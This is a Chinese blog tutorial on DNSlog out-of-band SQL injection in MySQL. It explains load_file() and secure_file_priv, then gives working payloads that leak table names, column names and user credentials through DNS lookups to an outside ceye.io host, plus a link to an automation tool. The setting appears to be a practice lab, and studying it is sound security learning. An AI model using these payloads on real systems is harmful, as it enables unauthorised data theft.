DNSlog注入

原理

我们无法获取数据库存储的数据,但当我们请求网址时,浏览器会将网址发给DNS服务器,通过服务器找到对应的IP地址并且数据库会把自己的数据给dns服务器,于是我们可以请求自己的网址,并在dnslog上找到我们请求的记录

直接看到

使用函数

  • load_file()

关于load_file()函数的权限配置问题

  • 用show variables like "secure_file_priv"查看导入导出时的目录权限
  • 如果secure_file_priv是NULL说明,是不允许导入导出的
  • 需要在my.ini中改成secure_file_priv=""
    如果没有secure_file_priv需要自己添加,切记是在[mysqld]下的位置配置

    之后,重启mysql服务就好
    补充 当你发现在mysql中用load_file()构造语句,访问自己的ceye.io网址时,平台没有dnslog记录;你用curl命令构造语句,平台是可以记录的,那十有八九是load_file()函数目录权限的问题。

手工注入

获取当前数据库中的数据表

  • 使用命令:and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ndlwi5.ceye.io\\abc'))--+

命令分析

  1. 利用部分
    (select table_name from information_schema.tables where table_schema=database() limit 0,1)此处是我们利用的代码位置
  2. 可持续获取数据
  • 获取当前库中的所有表,可以在命令中的limit 0,1处改变0(起始位置)的值,来实现获取所有的表(可借助BurpSuite来实现)
  • 也可以直接使用如下命令 and load_file(concat('\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.ndlwi5.ceye.io\\abc'))--+

    DNSlog获取的数据

    将hex()编码后的数据解码
  1. \\abc
    是为了指定一个目标,让load_file去找,找不找得到不重要,去找就行了

获取表中的列

  • 使用命令:and load_file(concat('\\\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.ndlwi5.ceye.io\\abc'))--+

获取数据

  • 使用命令:
  • and load_file(concat('\\\\',hex((select concat_ws(0x3a,id,username,password) from users limit 0,1)),'.ndlwi5.ceye.io\\abc'))--+


    这样获取了user表中的第一行数据
    接下来节注BurpSuite来辅助我们获取数据


使用工具

经历了上面的手工注入后,整个人是疲倦的。有没有方便的工具来帮助我们来获取数据呢?
DNSlog注入工具:https://github.com/ADOOO/DnslogSqlinj
切记需要在ceye.io平台注册账号,然后将API和http在config.py中修改成自己的

检测指定位置是否可以进行dnslog注入

检测数据库名称

获取security库中的数据表名称

获取security库user表中的字段名

获取emails表中的字段名

感悟

回想起生活中的一件事情:公司某同事(攻击者)完成了组长(数据库)交代的任务(查询语句),但是并不知道最终的结果会是什么,但是组长的领导(DNS)是自己的舅舅,于是便问舅舅自己做的这件事最终是个什么结果,作为一家人,那自然......

posted @ 2021-06-16 19:12  ceiling~  阅读(439)  评论(0编辑  收藏  举报